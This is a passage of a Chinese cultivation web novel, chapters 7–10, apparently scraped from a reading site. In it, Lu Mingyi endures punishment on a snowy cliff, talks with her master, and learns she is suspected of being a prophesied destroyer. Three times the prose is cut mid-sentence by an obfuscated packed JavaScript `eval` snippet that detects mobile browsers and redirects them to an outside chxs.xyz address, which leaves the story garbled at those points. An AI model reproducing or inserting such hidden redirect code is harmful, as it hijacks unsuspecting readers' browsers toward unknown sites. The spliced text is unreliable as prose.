然而她却心道:宗主病了,她师尊一个剑修过去能照顾多少? 随后她又想,在师尊膝下近百年,自己居然一点都不知道姜流照曾经和宗主关系如此密切。 7. 第七章 在等待受罚的三天里,鹿鸣意的日子过得很是充实。 她去幽兰阁找萧雨歇,结果被告知对方家族里有急事不得不回去一趟;她去找丹峰找沈鸣筝,结果对方明明在宅子里,却硬是不让她进去。 后来鹿鸣意从窗户爬进了金阙阁,差点被沈鸣筝一把火烧了头发,让她不知道自己到底是哪里惹到对方了。 师妹还在思过崖受罚,鹿鸣意就先跑腿去了药峰给贺茗送谢礼。 不过药峰上许多人也不是太欢迎她,毕竟她一个“不知何时就会变成凡人”的人,吃了药峰那么多天材地宝,还让药峰峰主云和真人对自己的医术陷入自我怀疑,早早闭关去了。 但贺茗对鹿鸣意印象还不错,又因着萧雨歇的关系,有她这个药峰大师姐坐镇,其她人至少不会像陈清和那样蹬鼻子上脸。 送完了礼,鹿鸣意白天就在自己的金霁阁附近捞鱼摘果,遛达完了之后回府邸内修炼一阵子,得到毫无进展的修为后,再去看话本。 然而她发现,这几天自己一个人待着的时候,那个声音并没有再出现。 这个发现让鹿鸣意直觉有些不安。 话本中的“人声”,除了所谓的听人心声外,便是主角因为一些奇遇遇到了很传奇的老奶奶,在老奶奶的指点下飞黄腾达,名扬天下。 看来看去,也没什么有用的信息。 三天转瞬即逝,当太阳再度照耀在太清宗之上时,鹿鸣意已经收拾好要带的东西,前往思过崖了。 思过崖位于主山脉北面,是一处悬崖峭壁,颇为陡峭,常年积雪,鹿鸣意如今修为只有筑基三层,没有辟谷,调节身体温度的能力也下降许多,她还没到思过崖的范围,只是爬上了山,便已经感觉到了一阵寒意。 思过崖的出入口处,有各峰内门门徒组成执法堂看守,鹿鸣意刚走进,领头一人便主动开口:“哟,鹿师妹,又是你。” 事实上,鹿鸣意并没有来思过崖几次,这不过是她百年间第三次来。 知道这些人是故意找茬,鹿鸣意从善如流地接话:“是啊,我又来了。” 那群人发出一阵哄笑声,领头那人装模作样地压低声音与同伴交流,但几米外的鹿鸣意依然可以听到她的话:“天才就是脸皮厚一些哈?屡次受罚都能说得这么理直气壮。” “可不是嘛,她都来多少次了?太清宗历年可都没有受罚次数这么多的亲传门徒!” “嘘,人家可是长虹剑尊最喜欢的门徒呢,可别被她打小报告啊!哈哈哈!” “我可听说长虹剑尊在物色新的门徒呢,毕竟留着这种废物也是浪费精力……” “各位师姐师妹,我的处罚从今日开始计算,你们一直放在这儿不让我进去的话,我会觉得你们是在帮我减少处罚的。”鹿鸣意扬声说着打断那些窃窃私语。 她走近了几步,因为身量高些,俯视着领头那人。 女人气势上莫名其妙落了下风,毫不顾忌地白了鹿鸣意一眼:“鹿师妹,你这是在质疑执法堂?” 鹿鸣意脸上挂着不及眼底的笑意,正要回应,思过崖的出口处突然出现一道灵动的身影,用欢快而又急切的声音喊道:“鹿师姐!” 还没看清来人,鹿鸣意先被抱了个满怀:“咳!等等,姬师妹你有点用力太猛了……” “我一直好担心你!你没事真的太好了!” 姬绪云一见着鹿鸣意,便眼眶泛红,眼中还泛起了点点水光,配合着她柔媚的五官,看上去当真是我见犹怜。 随着她的动作一起颤动的,还有她右眉眉尾的一颗小痣,给她添了几分说不清道不明的意味。 鹿鸣意一直觉着姬绪云哪儿都挺好的,就是眼泪说掉就掉,明明还是剑峰内门的首席。 同样是剑峰的耀金色宗服,穿在鹿鸣意身上是洒脱贵气,在姬绪云身上反倒衬得有几分奢靡娇贵。 “我是没什么事,你呢?我听师姐说当时是你把我带出来的。” 鹿鸣意一面说着,一面观察着姬绪云的状况,对方此时除了大抵是在思过崖冻得鼻尖有点红,其她地方看起来并没有什么受伤的迹象。 “我没什么事,当时就是运气好。”姬绪云简单回答后,又抽抽噎噎地说着,“我知道肯定是鹿师姐给我求情了,长虹剑尊本是罚我一个月的,这才7天我就被放出来了……” “唉唉,我们这儿是思过崖,不是什么街上的菜市场!”执法堂领头的人没好气地喊了声,“鹿师妹,你是来受罚的,不是来聊天的吧?” “哦你说得对,谢谢这位师姐提醒。”鹿鸣意甚是平和地接下了话,甚至还对对方扬唇笑了笑。 那人顿时感觉像是一拳打到了棉花上,表情变得相当精彩。 “等一下,鹿、鹿师姐,我和你一起进去!” 姬绪云还抱着鹿鸣意的一只胳膊,大有不放手要跟着她再进去思过崖的意思。 鹿鸣意有些哭笑不得,她扯了扯自己的手,但姬绪云搂得很紧,她没能扯开,于是说:“姬师妹,你还是先赶紧回去暖和一下身子吧,你鼻子都冻红了。我们一个月后见。” “但是……”姬绪云还想回绝,但刚说出两个字,又话锋一转:“好!鹿师姐,我等你!” 说完擦去了眼角的那点泪花,使劲儿往鹿鸣意身上蹭了蹭,又挥了挥手,此时倒是恢复了点平日活泼的样子。 鹿鸣意抬脚准备进入思过崖时,又听到了执法堂几个门徒的窃窃私语: “这鹿鸣意还真是个傻子,当年她就是跟着姬绪云一块儿在秘境里出了事,才落到今日这个境地。这丧门星真的晦气死了,她居然还和这人来往?” “烂好人吧,以前她风光的时候,多少人受过她恩惠的人去她府邸那儿围着她,瞧瞧现在!” 说起来,鹿鸣意的生活,确实可以说是从遇到姬绪云那天开始发生翻天覆地的变化的。 三年前的鹿鸣意,是太清宗最年轻的金丹门徒,年纪轻轻就到了金丹巅峰的修为,又得长虹剑尊姜流照亲传,还是第一世家沈家的人,是修仙界炙手可热的新星。 那时一个洞天秘境开启,无数宗门世家派门徒前往,鹿鸣意自然也是其中的一个,她在秘境中遇到了同为太清宗剑峰门徒的姬绪云。 彼时的姬绪云已经是内门首席,受教于剑峰一位长老,修为在筑基大圆满,离金丹不过一步之遥,也称得上是少年天才。 两人交谈几句便发现,她们不但都来自于太清宗剑峰,甚至还同样出身于江夏,如此缘分,自当是结伴而行,一路上谈天说地。 鹿鸣意的金丹巅峰修为让她们在秘境中颇为顺畅,但或许正是因此而放松了警惕,两人没多久便遭遇意外。 那日秘境中的一处高山突然崩裂,引发天灾,鹿鸣意为护着姬绪云被砸了几下,重伤昏迷,幸好当时附近有其她太清宗的门徒,及时将鹿鸣意送出了秘境,否则还不知后果会如何。 然而,鹿鸣意却莫名在床铺上昏迷了数月,药石无医,待到她自己醒来时,修为竟然已经从金丹巅峰跌落到了筑基期大圆满,并在这之后,修为一跌再跌,到了如今筑基三层的地步。 宗门内有不少人都认为是姬绪云拖累了鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019082|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣意,再加上姬绪云是个孤儿,一些人便认为是她“克”到了鹿鸣意,给她起了“丧门星”的绰号,每每见到她都要绕路走,生怕染上了晦气。 鹿鸣意原本已经一脚踏进思过崖,这会儿又收了回来,绕到了方才聊天的两人面前,素来挂着笑的脸上此时是一片严肃。 她吐出两个字:“道歉。” “什、什么?”那两个人神色一变,没想到鹿鸣意这会儿会发难。 “喂,鹿师妹,你要受罚就快点,别在这儿拖拖拉拉的!”领头的门徒见状过来拉扯鹿鸣意。 “这位师姐,你们执法堂就是这么维护宗门规矩的吗?”鹿鸣意垂眸俯视着她,“论辈分,姬师妹是她们二人的师姐,论资历,姬师妹是剑峰内门首席,这样被人随意抨击,可是合规矩的?再说了,修仙本就是逆天而行,若是因为一点小事就搬出所谓命定,如何道心稳固?” “你……”对方涨红了脸,却又被鹿鸣意的伶牙俐齿堵得说不出反驳的话,这会儿周围人也多,她只得把气发到说闲话的两人身上,“你们有没有点规矩!还不快道歉!” 被训的两人一脸憋屈,却只能照做:“鹿师姐,对不起,我们不该背后议论人。” “我说的不是向我吧?”鹿鸣意笑了笑,“你们给谁造的谣,就向谁道歉。” “这……”两人面面相觑,但事情闹到这个地步,又只能硬着头皮向姬绪云道歉,“姬师姐对不起,我们不该背后议论你,请你原谅。” “没事的,我不在意。”姬绪云赶紧挥挥手,像是受不起这份道歉一般。 她的视线从头到尾没落在别处,如秋水般似澄澈似深邃的眼眸始终牢牢地盯着那边的鹿鸣意。 这并不是第一次了,之前每次她和鹿鸣意在一块儿,如果有谁说姬绪云是丧门星,鹿鸣意都绝不会姑息,即便那几个人明明是议论她自己更多。 也是因着如今鹿鸣意的情况好不到哪儿去,即便她已经说了多次,许多人该欺负姬绪云的还是照样欺负。 “好了鹿师妹,闹够了就快点进去!别在外面耽搁时间。”领头的人担心鹿鸣意在外面还要闹出点什么事来,不耐烦地催促。 “好好好,多谢师姐耐心等候,师妹这就进去。”鹿鸣意抱拳冲她笑笑,没什么犹豫转身就要走。 而这时姬绪云却冲了上来,一把紧紧拉住了鹿鸣意的手,楚楚可怜道:“鹿师姐,我们一个月后见,我一定会等你的。” 鹿鸣意心说:我就是去受个罚,也不用说得好像要生离死别一样吧? 但她面上还是好好同姬绪云道别。 在经过入口的那一瞬,鹿鸣听到了那位领头的门徒嫌恶的声音:“切,只剩点嘴皮子功夫,以为自己多厉害?走着瞧吧,你最后一定落不到什么好下场!” 鹿鸣意听到这话,却也只是淡笑着,在同时,她还听到了另一个声音: 【我的好师姐,等你出来,你会发现我送了你一份大礼的。】 这次的声音倒是稀奇,往常她听到的几句都是带着强烈负面情绪的,今日听到姬绪云的声音,到反而是个好的? 在前往自己受罚的洞穴的路上,鹿鸣意还在思索那个声音的来头。 思过崖是一面悬崖,太清宗在其中挖出了数个可供人休憩的洞穴,宗门内受罚的门徒,都会前往指定的洞穴之中,进去后,穴口会自动产生屏障,受罚时间结束,屏障才会消失,洞穴内的人才能出去。 鹿鸣意一路上都在深思着,直到快抵达她的洞穴时,在漫天雪花之中,她看到了一个长身玉立的身影。 8. 第八章 姜流照一身银白色长袍,几乎要融入这漫天的雪色之中,但四周风呼啸、雪花飞舞,她却巍然不动。 待鹿鸣意走近了,可以看到姜流照长到卷翘的睫毛,还有这长睫之下墨色的眼睛,她就这么朝鹿鸣意轻轻一瞥,那极黑的眼眸是这片冰天雪地中最为亮眼的颜色。 以前和宗门其她人打成一片的时候,鹿鸣意就听师姐们说过,她师尊长虹剑尊除了天资、剑术过人,容貌也是一等一的好,曾经有多少人踏破了剑峰的门槛,就为了一睹长虹剑尊的芳容。 也就是后来,姜流照修为愈高,周身的威压愈重,许多人才消停了下来。 鹿鸣意从不觉得姜流照身上有什么威压。 才几天没见,她这会儿见着师尊却只觉得欢喜,脸上不自觉地扬起笑,惊喜道:“师尊,你怎么来了?” 姜流照的视线扫过鹿鸣意全身,让她不自觉地站直了一点,显得仪态好些,姜流照将她的一点小动作收于眼底,随后才开口:“你师姐念着你要来思过崖,不放心,盼我将一些东西交予你。” 鹿鸣意一听,先是心里哀叹。 在思过崖受罚,理论上是不准带法器宝物的,但规矩是死的人是活的,尤其对修为不算高的门徒来说,不带着暖珠恐怕会被冻出些病来。 可有人变规矩,自然也有守规矩的,而很不凑巧的是,姜流照就是那个克己复礼、极为规矩的人。 鹿鸣意不由得怀疑,她师姐是否是忙糊涂了,要给她关禁闭的时候送东西,怎么能找师尊呢? 果不其然,姜流照下一句就是:“你可是需要?” “不用。”鹿鸣意赶紧表态,生怕姜流照觉得她如今变成了贪图享乐之辈,戴在手上的储物戒指也变得烫手起来。 但从始至终,她的神情动作都落在姜流照眼中,静默的视线在鹿鸣意细长白皙的指尖上停留片刻,最后化为了一句话:“念你初犯,我便不追究。下不为例。” 得到了姜流照的赦免,可鹿鸣意却觉得更难受了。 她前面两次关禁闭是因为擅闯了宗门禁地和藏书阁九层,彼时她修为在金丹,是完全不屑于在去思过崖的时候带东西的。 但如今她不过筑基三层,若是什么法器都不用,在思过崖待上一个月,回去必然又要大病一场,为了不耽误后面的事,她才带着储物戒指的。 没想到因为萧雨歇的“善良之举”,她反而被姜流照抓了个正着。 思过崖温度极低,鹿鸣意的脸和喉咙却在发烫,她低垂眉眼说了句“多谢师尊”,又害怕姜流照就这么直接走了,赶紧找话题:“师尊,宗主近日可还好?” 姜流照神色未变,望着鹿鸣意淡声道:“算不上好,只是暂时抑制了病情。” “可否请问师尊,宗主此番重病是为何?” “窥探天机。” “天机?”鹿鸣意错愕的表情与姜流照从始至终淡漠的样子形成了鲜明对比。 而后,姜流照的神情总算变了,鹿鸣意却看出了几分探究的意味:“你很在意宗主的病。” “不,徒儿只是……只是,有几分好奇罢了,毕竟之前宗主身子还算康健。” 鹿鸣意急忙垂下眉眼,心中却忍不住想:看来宗主这次是真的病重了,这么久了都养不好。 但转而她又想:同样是身体不好,师尊给她是请其她峰的师姐妹来照顾,对宗主却是亲自贴身照顾,看来那些话本真不是空穴来风,她师尊和宗主当年的感情必然是极好。 就在鹿鸣意心里活络着的时候,姜流照的声音又飘了过来:“近日魔宗蠢蠢欲动,宗主为此时卜卦,得到卦辞后便遭受反噬。” 原来如此,又是魔宗! 提到这个,鹿鸣意打起了精神,道:“师尊,我从明萱师姑那儿听说了一点。魔宗此番,又是为了那所谓的五色石吗?” 思过崖的雪还在下,甚至还愈下愈大,鹿鸣意此时有点看不太清姜流照的神色,却能感觉落在自己身上的目光越发强烈:“你不相信?” 没想到姜流照会问这个,鹿鸣意实话实说:“……当然,五色石只是个传说啊。” 五色石的故事不说修仙界,就连人界都有。 神话传说里,洪荒世界突遭大灾,天穹破裂,万神之主女娲炼制五色石弥补天穹缺口,才让世界免遭毁灭的命运。而在补天成功之后,五色石残余的部分四散开来,落于世界各处。 有说法是这残余的五色石里寄存着造成天穹破裂的恶灵,是不详之物,也有说这五色石是洪荒神器,若能拥有它们,便可拥有翻山倒海的神通。 鹿鸣意从小就听说了女娲补天的故事,从来没把五色石当真的,毕竟这只是洪荒时代的神话传说。 从史书来看,洪荒时代距今少说也有几万年了,谁知道这故事改了多少遍? 而这时姜流照走近了些。 明明她和鹿鸣意身量一般,却因着周身的气场,愣是让鹿鸣意觉得自己矮了一截,她的视线微微下垂,正好可以看到姜流照纤细修长而又白皙的脖颈。 随着呼吸的起伏,有一道隐隐的、青色的血管在那白皙的肌肤上格外明显。 “即便只是传闻,魔宗却是深信不疑。” “除此之外,你可还有什么想问的?” 姜流照的声音再度响起,鹿鸣意这回直接将视线收到了师尊的脚底,不敢再乱晃。 还有什么想问的? 这话让鹿鸣意有些尴尬,因为方才姜流照确实是自己问什么就答什么,像往日一样,对她分外耐心。 然而她来思过崖闭关,却是再度违反宗规,擅自带了取暖法器。 鹿鸣意张了张嘴,想说“没有了”,但脑海里突然想起几日前在凌霄阁听到的那个声音: 【怎能如此不知轻重缓急?如今这般,也只能去找新的门徒了。】 偷带储物戒指来思过崖被姜流照抓了个正着,鹿鸣意的心中极为煎熬和内疚。 她想,面对如此不成器的自己,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019083|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许师尊确实也不用再在她身上白费心血。 于是,话到嘴边变成了“对不起”。 姜流照的眉梢微微耸动,目光却是始终都在鹿鸣意身上:“为何要道歉?” “我如今已知,修为想要再恢复,恐怕是希望渺茫。师尊将赤霄剑法传给我,是我辜负了师尊的期待,但师尊却还在一直包容我的任性。”鹿鸣意说着,顿了顿,声音放轻了些:“若是有机会……我希望师尊能再寻到一个天资过人的门徒,来继承衣钵。” 因鹿鸣意说这话的时候始终低着头,没有注意到姜流照看向她的眸光变得极为复杂。 “你是我的亲传门徒,不比忧虑过多。” 第一道声音落下,姜流照的声音变得飘忽起来,鹿鸣意忽然感觉一阵轻柔的暖风吹来,那些落在她身上的雪花都被吹散开来。 接着才响起第二道声音:“在思过崖这一个月,留心身体。” 鹿鸣意再抬头时,眼前已经不见姜流照的身影,只余下了她的声音: 【这是巧合,还是征兆?必要时我应当……】 鹿鸣意立刻反应过来,这不是姜流照对她留下的第三句话,而是那个诡谲的、不知来历的声音! 思过崖的雪突然变得暴烈起来,鹿鸣意不得已,没法去找寻姜流照消失的身影,只能先进了自己的洞穴中。 比起外面的暴风雪,这冰砌的洞穴竟然还要暖和一点。 鹿鸣意甫一踏入洞穴内,便将紧握在掌心的储物戒指放到了一旁。 在面对姜流照的时候她就已经取了下来,她想自己接下来一段时间应该都不想再看到这枚戒指了。 没有取暖法器,又不是火灵根,即便从进入洞穴的那刻起鹿鸣意就在运转灵力为自己调节温度,但也收效甚微。一开始她还能看到自己呼吸间吐出的雾气,没一会儿,连这点热气都感知不到了。 鹿鸣意赶紧打坐凝神,用微薄的修为来尽量御寒。但比起身体上的寒冷,她此时心中倒是分外活络。 过去几次声音的出现,都是带着明确的指向性,而今日,先是姬绪云出现了一句“正面”的“大礼”,后来又有姜流照那句语焉不详的话。 如果是心魔、邪祟之类的,要做到这个程度未免太过恐怖。 更何况对于邪祟那一类东西,她师尊也至于毫无觉察。 鹿鸣意不知道自己是否受了那些话本的影响,一开始对“听心声”这类说法不屑一顾的她,此时却是有了第一次动摇。 若真的是心声,那她之前听到的那些…… 鹿鸣意摇了摇头,及时打住了思绪的滑坡。 师尊将毕生所学传授于她,师姐自她入宗后就对她悉心照顾,师妹是一有空就来陪着她,更不用说和自己自幼一起长大的沈鸣筝。 她们又怎么可能说出那些话? 鹿鸣意在意识到自己方才有一瞬间居然对身边的人抱有恶意的怀疑后,与强烈地愧疚感一起升起的,还有来自心口的一阵闷痛。 9. 第九章 没有用法器,在思过崖的一个月对鹿鸣意来说简直称得上度日如年。 大概在第七天的时候,她就被冻到失去了部分知觉,后来更是有些神志不清,几度昏过去。 但从始至终,她都没再看储物戒指一眼。 又一次从短暂昏迷中醒过来,鹿鸣意在模糊地视线里看到洞穴口的那道禁闭屏障已经消失了——禁闭的时间已经结束了。 她躺在地上,缓了好一会儿才费力拿起那枚被她扔在一边储物戒指,从中取出一枚暖珠。 热度散开,鹿鸣意又等了好久,才感觉自己身上似乎又有了温度。 但她的状态算不得好,即便恢复了点力气,可身体传来的感觉依然比平日里要沉重许多,大抵是染了病;膝盖也始终带着如被虫蚁啃咬般的疼痛酸麻,要知道四肢的健全对剑修来说可是相当重要的。 鹿鸣意又取出几枚灵丹吃下,用灵丹内蕴含的灵力为自己温养经脉。 直到她扶着墙面颤颤巍巍起身,膝盖的情况也没有多大好转,即便乐观如鹿鸣意,这会儿心情也称不上好,琢磨着等会儿出去还要去药峰一趟看看腿脚才行。 可别是冻出什么毛病来了。 顶着风雪走出思过崖又是一阵煎熬,鹿鸣意这会儿身子本就虚弱至极,等走到思过崖的出口,真是恨不得找张床直接躺下才好。 出口处没有人来接她,只有执法堂的门徒,鹿鸣意也不想再节外生枝,走路这一阵,她身上已经出了一层虚汗,难受极了。 然而在出来见到这些来自执法堂的同门时,鹿鸣意混沌的大脑还是接收到了一些异常的讯号。 往日里太清宗知道她的门徒,有少数对她怀有恶意,大多见了她选择的是无视,毕竟她只是从天才变为了废人而已,也没做什么损人利己的事。 但此时,鹿鸣意可以清楚地感知到,眼前这守在思过崖出入口处的二十来位执法堂门徒,看向她的视线里不是恶意,便是怀疑、抵触! 因着身体不适,鹿鸣意的呼吸比平日里短促些,她眯着眼扫视一圈,开口道:“诸位同门怎么了?可是我脸色太差,吓到了你们?” 却是无人应她的话,甚至在她开口后,这些执法堂门徒都往四周散开了些,给她留出了相当空旷的位置,看起来就像是不想与她接触一般。 鹿鸣意将这些尽收眼底,她猜想大概是她这闭关一个月的时间里发生了什么大事。 站在这里也没法从这些人嘴里得出什么有用信息,鹿鸣意打起了点精神,快步离开了思过崖的区域。 她走后,方才那群散开的门徒又聚在了一起,七嘴八舌道: “鹿鸣意真的能是预言之子吗?看她那样,感觉根本没什么威胁啊!” “切,你懂什么,说不定人家就是故意藏着呢!谁修为一直下降,还能像她那样整日嬉皮笑脸的!” “但是,如果是预言之子的话,我们是不是该和她打好关系呢……” “这位师妹你可不能瞎说啊!她是注定要颠覆世界的人,不杀了她已经是对她的恩赐了!” 鹿鸣意原是打算去药峰看看身子的,但这一路上,她发觉太清宗内遇到的人,看向她的眼神都分外陌生,仿佛她不是太清宗的门徒,而是一个异类、怪物一般。 不论旁人如何看她,发生如此大的变化,鹿鸣意此时迫切想要知道在她被关禁闭期间,到底发生了什么事,甚至这件事大概率是和她有关的。 现在愿意搭理她的人估计没几个。去丹峰的话,她闭关前沈鸣筝还在和她置气,这会儿也不知道如何,而且丹峰距离有些远;在剑峰的话,师尊大概也还是不在的,师姐也有还在沈家的可能。 鹿鸣意思索一番,觉得以自己现在的状况,去找姬绪云大概是最好的,并且,她之前从乾坤阁取出来的仙草和符箓也要交给对方。 姬绪云作为内门首席,虽然不像金丹门徒那样有自己单独的府邸,但也是有一幢独栋的屋子,在剑峰半山腰。 等走到姬绪云屋前的时候,鹿鸣意不由得为自己的选择点赞,因为才走了这么会儿路,她已经眼冒金星,如果不是扶着墙,怕不是要表演一个平地摔了。 然而等了好一会儿门都没有开,她又敲了几下,猜测姬绪云是不是出门去了。 就在鹿鸣意准备认命决定自己一个人颤颤巍巍走回去时,那扇木门被打开,姬绪云俏白的脸从门内探了出来。 就在这一瞬,鹿鸣意瞥见姬绪云速来甜美娇矜的脸上满是戾气,但当她眨眨眼后,对方已经是瞪大了眼睛,看起来意外又惊喜:“鹿师姐,我正准备去接你呢,你来啦!” 说完,她跳着去挽鹿鸣意的胳膊。 这幅样子倒是和往日无异,鹿鸣意眼前还印着方才姬绪云戾气横生的脸,想着自己眼花得真是厉害。 她虚弱笑笑道:“多谢了。姬师妹我来送点东西,顺便问些事情。。” 姬绪云一听这话,脸上的神色又染上了几分担忧和欲言又止:“……鹿师姐,她们……她们是不是已经对你做什么了?” “你是指什么?”鹿鸣意挑起眉梢,她想果然发生了大事,连平日里不喜交际的姬绪云都知道了。 姬绪云左右张望一下:“鹿师姐,进屋说吧。” 内门门徒的住处比起金丹修士们自己建的府邸,自然是要简单不少,姬绪云的屋内更是单调得不行,鹿鸣意每次来都只看到了床、桌子和柜子,看起来跟没人住一般。 这回来,姬绪云不知从哪儿端来了一壶热茶,给鹿鸣意倒上:“鹿师姐先喝点热的吧,我去找一些温养的丹药,你脸色太差了。” 鹿鸣意也没和她讲客气,一喝下,眼睛亮了亮:“江夏云雾?” “是,师姐之前和我提过一嘴,我这里就备了点。”姬绪云眉眼弯弯,看起来又有几分腼腆。 鹿鸣意原本对茶兴趣不大,但是姜流照爱茶,她感恩姜流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019084|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照对自己的倾囊相授,总想为对方做点什么,便去苦学了茶艺。 到如今她的茶艺已经称得上是个中好手,宗门内并且久而久之自己也有了喝茶的习惯。 姜流照爱喝醇厚馥郁的庐山云雾,鹿鸣意则偏好清爽的江夏云雾,并且,她自己出身江夏,对这带着自己家乡名字的茶更是多了几分偏爱。 喝下热茶,鹿鸣意果真感觉舒服了不少,她拉住姬绪云坐下,轻声道:“丹药就不用了,我这身子你也知道,吃丹药多半是没用的。” 说完,她先从储物戒指里拿出了一个宝盒递给姬绪云:“你此次受罚全是被我拖累的,这里面是几株仙草和符箓,就当是我的一点补偿心意了。” “鹿师姐,这我怎么能收!”姬绪云细长的黛眉轻轻拧起,直接推手拒绝。 鹿鸣意却是笑:“如果不是我找你商讨如何拿到寒阳草,你也不会受罚。你因我受了罚,我补偿你不是应该的吗?还是说我们之间还要讲客气?” “我那是心甘情愿的……”姬绪云低声呢喃着,目光落在两个人交叠的手上。 鹿鸣意以为她是不好意思接下,于是把宝盒推到了姬绪云手边,笑道:“好啦,我还希望你别在意我害你受罚这事呢。” 话说到这份上,姬绪云还是收下了鹿鸣意的礼,她看了眼便道:“日后我也愿为鹿师姐做任何事的。” 鹿鸣意听了有些失笑,她刚想说姬绪云不用说这么郑重其事的话,便听到一个带着莫名调笑意味的话: 【千年雪莲、十张三品雷震符……仅是去思过崖受罚七日便能得你这么这么好的对待,鹿师姐,你未免也太好心了些。】 鹿鸣意原本要说的话顿住了,她又一次在姬绪云这儿听到了带着“好意”的声音。 思索之余,她也想起来自己还要向姬绪云询问宗门内的怪事,于是道: “姬师妹,我闭关这期间,宗门内可是发生了什么事情?” 姬绪云的视线还落在被鹿鸣意拉着的手上,她的神色有些模糊:“鹿师姐……你可知,宗主这些时日一直重病不起?” “我知道。”鹿鸣意不明白这会儿怎么又扯到了宗主,但她闭关之前就知道宗主状况不佳了。 “宗主突然重病,是因为前些时日,她做了一次卜卦。”姬绪云动了动自己的指尖,不经意间就回握住了鹿鸣意的手,“她算的是……魔宗和五色石。” 鹿鸣意更迷惑了,姬绪云目前说的事都和她没什么关系。但她还是耐心等着姬绪云后面的话。 姬绪云吸了口气,一直垂着的眼眸终于抬起,锁住鹿鸣意:“卜卦出来的结果,说五色石会被一位预言之子所持有,并且她将扰乱世间。” 鹿鸣意听到这儿,似乎知道后面会发生什么了。 姬绪云的目光牢牢钉在她身上,缓慢却清晰地说道:“鹿师姐,宗主推演出了这位预言之子的八字与方位,而这些……恰好和你吻合了。” 10. 第十章 感谢姬绪云前面铺垫那么久,鹿鸣意听到最后一句话,竟也不觉得意外了,甚至还能顺着说:“然后呢?” 姬绪云沉默一瞬,显然也没料到鹿鸣意会是这么淡定。 她眨了眨眼,眸光水润,看起来分外难过的样子:“所以,现在可能很多人都觉得鹿师姐就是那个预言之子,认为你会和魔宗勾结,祸及世间。” 鹿鸣意强忍着才没在姬绪云这个师妹前露出太夸张的表情。 不是愤怒或者是哀怨,而是觉得离谱。 她要有那什么“预言之子”的本事,还会是现在这副样子吗? 太清宗的门徒明明都是经过重重选拔的,怎能如此人云亦云,丝毫没有自己的判断! 实在令人痛心疾首! 忍了又忍,鹿鸣意最后实在只能气笑道:“就算我死了,我都不可能和魔宗扯上关系!” “那是自然的,宗门那些旁人不知鹿师姐与魔宗有不共戴天之仇,才会做出如此狭隘地揣测。”姬绪云笑笑,又垂下眼眸,注视着两个人交握在一起的手。 鹿鸣意喜欢的东西很多,讨厌的却少,能称得上厌恶的,只有魔宗。 因为她的娘亲们便是亡于魔宗之手。 她生性有几分散漫,但于修炼之事却不曾懈怠,除了为感激沈家和师尊的恩遇外,为的就是有朝一日能覆灭魔宗,为双亲报仇。 是以六十年前,她不过是个筑基期大圆满,也参与了迎击那位声名远扬的魔宗圣女的战役。 鹿鸣意嘲讽地想,就算她真要毁灭世界,第一个毁的也必然是魔宗。 喝下一口变得温凉的江夏云雾润了润嗓子,她又平复心情同姬绪云说:“多谢姬师妹告知我这些了,这下我倒是明白一路上那些同门看我是个什么眼神了。” “鹿师姐,你千万别往心里去……”姬绪云身子往前倾,离鹿鸣意近了点,似乎生怕她有什么想不开的。 “怎么会!” 鹿鸣意失笑,她修为跌落这三年里都受过多少冷嘲热讽和白眼了,现在再加个“预言之子”的名头又如何? 旋即,她又正色看着姬绪云,问:“但师妹,我还有一事想问你,虽然你不一定知晓。” “鹿师姐问吧,哪怕我不知道,我也会想办法为你寻得答案。”姬绪云依然还是那副眸光亮亮的样子。 鹿鸣意缓声说:“你方才说,这些是宗主卜卦得出的结果,但宗主病重已经有些时日,那消息是如何传出来的?” 在她进思过崖之前,明萱就已经告知了她宗主病重的消息,后来姜流照也承认了宗主是因窥探天机遭受反噬。若她鹿鸣意真就是宗主卜卦得出的那个预言之子,难道不该早就知道了吗? 况且,此时事关魔宗、传闻中的五色石,不论是宗主还是师尊,必然不可能大肆宣扬,现在这个消息流传得如此之广,只能是有心人刻意为之。 “啊,这个……”姬绪云的声音变轻了些,尾调拉长而又婉转,神色有些苦恼,但是鹿鸣意看到她的唇角似乎还上扬了点,“鹿师姐,太对不起了,这个我并不知道。” “但是,我会努力去打听一下的。” “不必勉强。”鹿鸣意摇了摇头。 比起所谓的卜卦预言,显然把这个预言流传出来的人更值得留心注意。 宗主卜卦,知道消息的人在太清宗必定位高权重。 然而五峰峰主之中,姜流照和明萱不会这么做,药峰峰主早已闭关至今未出,兽峰峰主醉心御兽之术,向来不闻窗外事,符峰峰主在鹿鸣意进思过崖之前,也出宗办事去了。 当然最重要的是,将宗主的卜卦信息散播出来,到底有什么用? “鹿师姐,你现在是不是在想散播消息的人为什么这么做?” 姬绪云轻柔的声音打断了鹿鸣意的思绪。 “不错。”鹿鸣意点点头,“不过一个卦象而已,难不成真有人觉得我能掀起什么风浪?” 